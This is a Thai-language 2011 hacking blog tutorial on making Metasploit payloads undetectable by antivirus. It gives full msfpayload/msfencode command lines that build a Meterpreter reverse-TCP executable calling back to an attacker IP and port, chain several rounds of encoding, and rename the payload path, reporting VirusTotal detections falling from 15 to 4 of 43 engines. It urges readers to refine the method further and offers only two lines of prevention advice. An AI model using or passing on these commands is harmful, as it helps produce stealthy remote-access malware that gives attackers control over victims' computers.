Hacking&Security Workshop

ตอนนี้ MaYaSeVeN ได้ย้าย Blog ไปที่ http://blog.mayaseven.com


Friday, April 1, 2011

Metasploit, How to make payload *Undetected*

การทำให้ AV ไม่เห็นไฟล์ payload เป็น malware
โดยทั่วไปพวกไฟล์ที่ทำงานในลักษณะนี้ AV จะเห็นเป็น hacktool หรือ trojan ในการสร้างไฟล์ payload แบบปกตินั้น AV บางตัวสามารถตรวจพบได้ว่า payload เป็น malware ได้ตามรูป


จากรูปเราจะพบว่า จาก AV 43 ตัวมี 15 ตัวที่เห็น payload ของเราเป็น malware ซึ่งผลออกมาก็ถือว่าพอทนแต่เราสามารถที่จะทำให้มันเนียนกว่านี้ได้โดยเราจะ ใช้หลักการ encode มาช่วยเพื่อทำให้ AV ตรวจจับได้ยากขึ้นและแน่นอนในส่วนของการ encode นั้นใน Metasploit ก็ได้จัด tool กับรูปแบบการ encode แบบต่างๆไว้ให้ มาเริ่มกันเลย

ขั้น 1. เปิด Cygwin Shell ขึ้นมา แล้วพิมพ์ msfencode -h ผลที่ได้คือ

error@unknow ~
# msfencode -h

Usage: /msf3/msfencode <options>

OPTIONS:

-a <opt> The architecture to encode as
-b <opt> The list of characters to avoid: '\x00\xff'
-c <opt> The number of times to encode the data
-e <opt> The encoder to use
-h Help banner
-i <opt> Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m <opt> Specifies an additional module search path
-n Dump encoder information
-o <opt> The output file
-p <opt> The platform to encode for
-s <opt> The maximum size of the encoded data
-t <opt> The format to display the encoded buffer with (c, dll, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
-x <opt> Specify an alternate win32 executable template

ข้างบนนี้คือ options ต่างๆที่มีให้เราใช้งานในที่นี้ผมจะอธิบายบางตัวที่น่าสนใจ
-l ตัวนี้ใช้แสดงรูปแบบการ encode ที่ Metasploit มี
-e ตัวนี้ใช้เลือกรูปแบบการ encode
-t ตัวนี้ใช้เลือกว่าจะให้ output ออกเป็นไฟล์ประเภทไหน เช่น exe,dll
-c ตัวนี้ใช้เพื่อกำหนดว่าจะให้ encode กี่รอบ

ขั้นที่ 2. เรามาดูกันว่า Metasploit มีรูปแบบการ encode แบบไหนให้เราเลือกใช้มั้งโดยใน Cygwin Shell ให้พิมพ์ msfencode -l ได้ผลดังนี้

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_util good Generic printf(1) Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

ข้างบนนี้คือรูปแบบการ encode รูปแบบต่างๆที่ Metasploit มีให้ แถมยังบอกด้วยว่าอันไหนเจ๋ง ^^

ขั้นที่ 3.1. ทดสอบ encode ใน Cygwin Shell ให้เราพิมพ์ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.247.129 LPORT=6666 R | msfencode -e x86/shikata_ga_nai -t exe > 2.exe

คำสั่งข้างบนนี้หมายความว่าให้สร้าง payload แบบ meterpreter ให้ backconnect กลับไปที่ IP 192.168.247.129 บน Port 6666 โดยให้ encode ไฟล์ payload นี้ด้วยรูปแบบ x86/shikata_ga_nai แล้วกำหนดประเภทไฟล์ payload เป็นแบบ exe และให้ output ออกมาชื่อ 2.exe ผลจากการเอาไฟล์ที่ encode นี้ไปตรวจสอบได้ผลตามรูป


จาก AV 43 ตัว payload ของเราถูกตรวจพบเป็น malware 11 เนียนขึ้นมาอีกนิดนึง T_T แต่ยังไม่เป็นที่น่าพอใจ

ขั้นที่ 3.2. ในขั้นนี้เราจะมา encode แบบซับซ้อนขึ้นมาหน่อยโดย encode หลายชั้น ใน Cygwin Shell ให้พิมพ์ว่า msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.247.129 LPORT=6666 R | msfencode -e x86/shikata_ga_nai -t exe -c 5 | msfencode -e x86/context_cpuid -t dll -c 5 | msfencode -e x86/context_time -t exe -c 5 > 3.exe

ได้ผลดังรูป

คำสั่งข้างบนนี้หมายความว่าให้สร้าง payload แบบ meterpreter ให้ backconnect กลับไปที่ IP 192.168.247.129 บน Port 6666 โดยให้ encode ไฟล์ payload นี้ด้วยรูปแบบ x86/shikata_ga_nai 5 รอบ โดยกำหนดให้เป็นประเภทไฟล์ exe ต่อจากนั้นนำมา encode ต่อด้วยรูปแบบ x86/context_cpuid 5 รอบ โดยกำหนดให้เป็นประเภทไฟล์ dll ต่อจากนั้นนำมา encode ต่อด้วยรูปแบบ x86/context_time 5 รอบ
โดยกำหนดให้เป็นประเภทไฟล์ exe หลังจากการนำไปตรวจสอบได้ผลดังรูป


จาก AV 43 ตัว มี AV เพียง 6 ตัวที่เจอได้แก่

Authentium 5.2.0.5 2010.09.18 W32/Swrort.A.gen!Eldorado
AVG 9.0.0.851 2010.09.18 Win32/Heur
F-Prot 4.6.1.107 2010.09.18 W32/Swrort.A.gen!Eldorado
K7AntiVirus 9.63.2552 2010.09.18 Riskware
Sophos 4.57.0 2010.09.18 Sus/UnkPack-C
VirusBuster 12.65.13.0 2010.09.18 Trojan.Rosena.Gen.1

ขั้นที่ 3.3 เนื่องจากว่า AV นอกจากจะตรวจสอบไฟล์ว่าเป็น malware หรือไม่จาก code การทำงานของไฟล์แล้ว ยังตรวจสอบจาก signature ด้วย ดังนั้นถึงแม้ว่าเราจะ encode ยังไงก็ตามถ้ายังมี signature ตรงกับฐานข้อมูลของ AV มันก็ยังตรวจเจอเหมือนเดิม ขั้นสุดท้ายนี้ เราจะมาใช้เทคนิคเล็กๆน้อยๆในการสับขาหลอก AV กัน
เริ่มจากนำคำสั่งจาก 3.2 มาคำสั่งคือ

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.247.129 LPORT=6666 R | msfencode -e x86/shikata_ga_nai -t exe -c 5 | msfencode -e x86/context_cpuid -t dll -c 5 | msfencode -e x86/context_time -t exe -c 5 > 3.exe

หลังจากนั้นเราก็เปลี่ยนเครื่องหมาย '/' เป็น '_' จะได้คำสั่งเป็น

msfpayload windows/meterpreter_reverse_tcp LHOST=192.168.247.129 LPORT=6666 R | msfencode -e x86/shikata_ga_nai -t exe -c 5 | msfencode -e x86/context_cpuid -t dll -c 5 | msfencode -e x86/context_time -t exe -c 5 > 3.exe

ผลจากการนำไฟล์ payload นี้ไปตรวจสอบตามรูป


จาก AV 43 ตัวมี AV 4 ตัวตรวจพบว่าไฟล์ payload ของเราเป็น malware ได้แก่

Authentium 5.2.0.5 2010.09.18 W32/Swrort.A.gen!Eldorado
F-Prot 4.6.1.107 2010.09.18 W32/Swrort.A.gen!Eldorado
K7AntiVirus 9.63.2552 2010.09.18 Riskware
VirusBuster 12.65.13.0 2010.09.18 Trojan.Rosena.Gen.1

คงต้องยอมรับแล้วละว่าไอ่ 4 ตัวนี้มานเทพจริง ถึงแม้จะไม่เคยได้ยินชื่อมันเลยก็ตาม T_T (แต่อย่างน้อย AV ตัวฮิตๆมันก็ตรวจไม่เจอแล้วละ)

เพื่อนๆสามารถนำวิธีในข้างต้นนี้ไปประยุกต์ให้ซับซ้อนขึ้นให้ได้ payload ที่มีความเนียนมากกว่าที่ผมทำ =="

สรุป ผมได้นำเสนอว่า Metasploit มีวิธีที่สามารถจะทำการ encode เพื่อ bypass AV ได้อย่างไรบ้าง ทั้งนี้ทั้งนั้นท่านต้องลองประยุกต์ด้วยตัวเองด้วย ว่าวิธีไหนใช้ได้วิธีไหนใช้ไม่ได้ครับเพราะผมเพียงแค่ให้แนวทางไว้เท่านั้น เพื่อให้ท่านได้เกิดการเรียนรู้ด้วย "ขออภัยที่ตัวอย่างไม่ดีครับเพราะบางอันใช้ไม่ได้แต่จากบทความผมท่านสามารถ ประยุกต์ให้มันใช้ได้แน่นอน"

ปล.0 AV = Antivirus มิใช่หนัง AV ที่ท่านรู้จัก ฮ่าา
ปล.1 เนื่องจากเรื่องนี้สามารถเข้าใจได้ไม่ยากจึงไม่ได้ทำวิดีโอมาให้ด้วยหวังว่าแฟนบทความจะไม่ผิดหวัง ^^

ปล.สามารถเซฟรูปไปดูบนเครื่องเพื่อดูขนาดใหญ่
วิธีป้องกัน
1.ไม่ Download ไฟล์ที่ไม่น่าเชื่อถือหรือจากแหล่งที่ไม่น่าเชื่อถือ
2.Update AV ล่าสุดเสมอ(ถึงแม้มันจะช่วยไม่ได้ 100% ^^)
#เขียนโดย MaYaSeVeN http://mayaseven.blogspot.com
#อนุญาติให้ Copy ไปโพสที่ไหนก็ได้แต่ต้องแนบเครดิตด้วยนะครับ

References
1.Metasploit - CITEC-Pedia
2.http://www.metasploit.com/
3.VirusTotal - Free Online Virus, Malware and URL Scanner
4.Metasploit Unleashed - Mastering the Framework
5.http://druid.caughq.org/presentations/Context-keyed-Payload-Encoding.pdf
6.http://uninformed.org/index.cgi?v=9&a=3&p=11
7.http://c26labs.com/blog/?p=36